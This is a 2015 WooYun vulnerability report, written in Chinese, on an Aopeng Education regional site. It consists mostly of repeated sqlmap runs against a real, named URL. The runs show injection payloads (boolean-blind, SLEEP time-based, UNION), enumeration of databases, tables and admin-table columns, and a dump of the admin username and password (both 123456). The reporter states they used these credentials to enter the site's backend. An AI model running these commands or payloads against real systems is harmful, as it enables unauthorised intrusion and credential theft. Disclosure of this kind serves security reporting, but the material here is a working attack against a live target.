奥鹏教育某分站教育网存在sql注入后台弱口令

编号156384
Urlhttp://www.wooyun.org/bug.php?action=view&id=156384
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题奥鹏教育某分站教育网存在sql注入后台弱口令
漏洞类型SQL注射漏洞
厂商open.com.cn
白帽子路人甲
提交日期2015-11-27 17:23:00
公开日期2015-12-02 17:24:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank0
漏洞简介
RT
漏洞细节

C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/views/id/6*
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:25:57
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:25:58] [INFO] testing connection to the target URL
[16:25:58] [INFO] testing if the target URL is stable
[16:25:59] [INFO] target URL is stable
[16:25:59] [INFO] testing if URI parameter '#1*' is dynamic
[16:26:00] [INFO] confirming that URI parameter '#1*' is dynamic
[16:26:00] [INFO] URI parameter '#1*' is dynamic
[16:26:00] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might
not be injectable
[16:26:00] [INFO] testing for SQL injection on URI parameter '#1*'
[16:26:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:26:03] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHE
RE or HAVING clause' injectable
[16:26:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[16:26:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:26:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:26:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:26:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:26:04] [INFO] testing 'MySQL inline queries'
[16:26:05] [INFO] testing 'PostgreSQL inline queries'
[16:26:05] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:26:05] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:26:05] [WARNING] time-based comparison requires larger statistical model, pl
ease wait...........
[16:26:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:26:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[16:26:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - c
omment)'
[16:26:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[16:26:43] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0.12 AND time-base
d blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n]
[16:26:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:26:44] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[16:26:45] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[16:26:49] [INFO] target URL appears to have 15 columns in query
[16:26:56] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 c
olumns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N]
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) re
quests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:01] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:01] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:27:01
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:27:05
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:27:07] [INFO] resuming back-end DBMS 'mysql'
[16:27:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:07] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:07] [INFO] fetching database names
[16:27:08] [INFO] the SQL query used returns 2 entries
[16:27:08] [INFO] retrieved: information_schema
[16:27:08] [INFO] retrieved: aopengx
available databases [2]:
[*] aopengx
[*] information_schema
[16:27:08] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:27:08
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --tables -D aopengx
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:27:52
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:27:53] [INFO] resuming back-end DBMS 'mysql'
[16:27:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:54] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:54] [INFO] fetching tables for database: 'aopengx'
[16:27:55] [INFO] the SQL query used returns 53 entries
[16:27:55] [INFO] retrieved: t_admin
[16:27:56] [INFO] retrieved: t_bulk
[16:27:56] [INFO] retrieved: t_bulktype
[16:27:56] [INFO] retrieved: t_city
[16:27:57] [INFO] retrieved: t_content
[16:27:57] [INFO] retrieved: t_custnews
[16:27:58] [INFO] retrieved: t_download
[16:27:58] [INFO] retrieved: t_downtype
[16:27:59] [INFO] retrieved: t_edunews
[16:28:02] [INFO] retrieved: t_edunewstype
[16:28:03] [INFO] retrieved: t_elegantimage
[16:28:03] [INFO] retrieved: t_fashion
[16:28:03] [INFO] retrieved: t_feedback
[16:28:04] [INFO] retrieved: t_focusfigure
[16:28:04] [INFO] retrieved: t_global
[16:28:05] [INFO] retrieved: t_goodnews
[16:28:05] [INFO] retrieved: t_goodzzyjs
[16:28:06] [INFO] retrieved: t_gradnews
[16:28:06] [INFO] retrieved: t_gradnewstype
[16:28:07] [INFO] retrieved: t_guide_xl
[16:28:07] [INFO] retrieved: t_guide_zzyjs
[16:28:07] [INFO] retrieved: t_images
[16:28:08] [INFO] retrieved: t_jobs
[16:28:08] [INFO] retrieved: t_join_news
[16:28:39] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
[16:28:40] [INFO] retrieved: t_joins
[16:28:40] [INFO] retrieved: t_language
[16:28:41] [INFO] retrieved: t_map
[16:28:41] [INFO] retrieved: t_message
[16:28:42] [INFO] retrieved: t_miennews
[16:28:42] [INFO] retrieved: t_miennewstype
[16:28:43] [INFO] retrieved: t_news
[16:28:43] [INFO] retrieved: t_newstype
[16:28:44] [INFO] retrieved: t_order
[16:28:44] [INFO] retrieved: t_orderdetail
[16:28:44] [INFO] retrieved: t_outlets
[16:28:45] [INFO] retrieved: t_pic
[16:28:45] [INFO] retrieved: t_pictype
[16:28:46] [INFO] retrieved: t_plugin
[16:28:46] [INFO] retrieved: t_post
[16:28:47] [INFO] retrieved: t_problem
[16:28:47] [INFO] retrieved: t_problemtype
[16:28:48] [INFO] retrieved: t_problemzzyjs
[16:28:48] [INFO] retrieved: t_problemzzyjstype
[16:28:48] [INFO] retrieved: t_process
[16:28:49] [INFO] retrieved: t_products
[16:28:49] [INFO] retrieved: t_protype
[16:28:50] [INFO] retrieved: t_resume
[16:28:50] [INFO] retrieved: t_role
[16:28:50] [INFO] retrieved: t_schoolxl
[16:28:51] [INFO] retrieved: t_schoolzzyjs
[16:28:51] [INFO] retrieved: t_storeimage
[16:28:51] [INFO] retrieved: t_team
[16:28:51] [INFO] retrieved: t_train
Database: aopengx
[53 tables]
+--------------------+
| t_admin |
| t_bulk |
| t_bulktype |
| t_city |
| t_content |
| t_custnews |
| t_download |
| t_downtype |
| t_edunews |
| t_edunewstype |
| t_elegantimage |
| t_fashion |
| t_feedback |
| t_focusfigure |
| t_global |
| t_goodnews |
| t_goodzzyjs |
| t_gradnews |
| t_gradnewstype |
| t_guide_xl |
| t_guide_zzyjs |
| t_images |
| t_jobs |
| t_join_news |
| t_joins |
| t_language |
| t_map |
| t_message |
| t_miennews |
| t_miennewstype |
| t_news |
| t_newstype |
| t_order |
| t_orderdetail |
| t_outlets |
| t_pic |
| t_pictype |
| t_plugin |
| t_post |
| t_problem |
| t_problemtype |
| t_problemzzyjs |
| t_problemzzyjstype |
| t_process |
| t_products |
| t_protype |
| t_resume |
| t_role |
| t_schoolxl |
| t_schoolzzyjs |
| t_storeimage |
| t_team |
| t_train |
+--------------------+
[16:28:51] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:28:51
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --columns -T t_admin -D aopengx
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:33:28
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:33:29] [INFO] resuming back-end DBMS 'mysql'
[16:33:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:33:30] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:33:30] [INFO] fetching columns for table 't_admin' in database 'aopengx'
[16:33:30] [INFO] the SQL query used returns 7 entries
[16:33:31] [INFO] retrieved: "id","int(11)"
[16:33:31] [INFO] retrieved: "UserName","varchar(255)"
[16:33:31] [INFO] retrieved: "PassWord","varchar(510)"
[16:33:31] [INFO] retrieved: "UserRoleID","int(11)"
[16:33:32] [INFO] retrieved: "OrderDesc","int(11)"
[16:33:32] [INFO] retrieved: "RealName","varchar(255)"
[16:33:32] [INFO] retrieved: "IsLock","tinyint(3)"
Database: aopengx
Table: t_admin
[7 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| id | int(11) |
| IsLock | tinyint(3) |
| OrderDesc | int(11) |
| PassWord | varchar(510) |
| RealName | varchar(255) |
| UserName | varchar(255) |
| UserRoleID | int(11) |
+------------+--------------+
[16:33:32] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:33:32
C:\Python27\sqlmap>
root@kailroot:~# sqlmap -u http://www.nbopen.com.cn/index.php?s=/Train/views/id/6* --dump -T t_admin -C "UserName,PassWord" -D aopengx
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151024}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:40:04
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[16:40:06] [INFO] testing connection to the target URL
[16:40:06] [INFO] testing if the target URL is stable
[16:40:07] [INFO] target URL is stable
[16:40:07] [INFO] testing if URI parameter '#1*' is dynamic
[16:40:07] [INFO] confirming that URI parameter '#1*' is dynamic
[16:40:08] [INFO] URI parameter '#1*' is dynamic
[16:40:08] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[16:40:08] [INFO] testing for SQL injection on URI parameter '#1*'
[16:40:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:40:10] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[16:40:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[16:40:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:40:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[16:40:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:40:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:40:14] [INFO] testing 'MySQL inline queries'
[16:40:15] [INFO] testing 'PostgreSQL inline queries'
[16:40:15] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:40:15] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:40:15] [WARNING] time-based comparison requires larger statistical model, please wait...........
[16:40:18] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[16:40:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:40:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[16:40:18] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[16:40:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[16:40:49] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[16:40:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:40:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:40:55] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:40:57] [INFO] target URL appears to have 15 columns in query
[16:41:01] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 2070=2070 AND ('oyvm'='oyvm
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SELECT * FROM (SELECT(SLEEP(5)))wzmd) AND ('GSvY'='GSvY
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-2709') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a716271,0x7674436b625063665543,0x716b6a7071),NULL,NULL--
---
[16:41:04] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:41:04] [INFO] fetching columns 'PassWord, UserName' for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] the SQL query provided does not return any output
[16:41:05] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[16:41:05] [WARNING] unable to retrieve column names for table 't_admin' in database 'aopengx'
[16:41:05] [INFO] fetching entries of column(s) 'PassWord, UserName' for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] the SQL query provided does not return any output
[16:41:05] [INFO] fetching number of column(s) 'PassWord, UserName' entries for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[16:41:05] [INFO] retrieved: 1
[16:41:06] [INFO] retrieved: 123456
[16:41:19] [INFO] retrieved: 123456
[16:41:32] [INFO] analyzing table dump for possible password hashes
Database: aopengx
Table: t_admin
[1 entry]
+----------+----------+
| UserName | PassWord |
+----------+----------+
| 123456 | 123456 |
+----------+----------+
[16:41:32] [INFO] table 'aopengx.t_admin' dumped to CSV file '/root/.sqlmap/output/www.nbopen.com.cn/dump/aopengx/t_admin.csv'
[16:41:32] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.nbopen.com.cn'
[*] shutting down at 16:41:32
root@kailroot:~#


XIB8R]S8P_0TH8ZL](%{{TC.png


有图可知账户密码为123456
进入后台看下

Z}D1%%V]%G~7MF66TD@H@4F.png

U9A6NM4YW)0M{GVPV](6X7N.png

POC

C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/views/id/6*
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:25:57
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:25:58] [INFO] testing connection to the target URL
[16:25:58] [INFO] testing if the target URL is stable
[16:25:59] [INFO] target URL is stable
[16:25:59] [INFO] testing if URI parameter '#1*' is dynamic
[16:26:00] [INFO] confirming that URI parameter '#1*' is dynamic
[16:26:00] [INFO] URI parameter '#1*' is dynamic
[16:26:00] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might
not be injectable
[16:26:00] [INFO] testing for SQL injection on URI parameter '#1*'
[16:26:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:26:03] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHE
RE or HAVING clause' injectable
[16:26:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[16:26:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:26:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:26:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:26:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:26:04] [INFO] testing 'MySQL inline queries'
[16:26:05] [INFO] testing 'PostgreSQL inline queries'
[16:26:05] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:26:05] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:26:05] [WARNING] time-based comparison requires larger statistical model, pl
ease wait...........
[16:26:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:26:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[16:26:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - c
omment)'
[16:26:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[16:26:43] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0.12 AND time-base
d blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n]
[16:26:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:26:44] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[16:26:45] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[16:26:49] [INFO] target URL appears to have 15 columns in query
[16:26:56] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 c
olumns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N]
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) re
quests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:01] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:01] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:27:01
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:27:05
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:27:07] [INFO] resuming back-end DBMS 'mysql'
[16:27:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:07] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:07] [INFO] fetching database names
[16:27:08] [INFO] the SQL query used returns 2 entries
[16:27:08] [INFO] retrieved: information_schema
[16:27:08] [INFO] retrieved: aopengx
available databases [2]:
[*] aopengx
[*] information_schema
[16:27:08] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:27:08
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --tables -D aopengx
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:27:52
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:27:53] [INFO] resuming back-end DBMS 'mysql'
[16:27:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:27:54] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:27:54] [INFO] fetching tables for database: 'aopengx'
[16:27:55] [INFO] the SQL query used returns 53 entries
[16:27:55] [INFO] retrieved: t_admin
[16:27:56] [INFO] retrieved: t_bulk
[16:27:56] [INFO] retrieved: t_bulktype
[16:27:56] [INFO] retrieved: t_city
[16:27:57] [INFO] retrieved: t_content
[16:27:57] [INFO] retrieved: t_custnews
[16:27:58] [INFO] retrieved: t_download
[16:27:58] [INFO] retrieved: t_downtype
[16:27:59] [INFO] retrieved: t_edunews
[16:28:02] [INFO] retrieved: t_edunewstype
[16:28:03] [INFO] retrieved: t_elegantimage
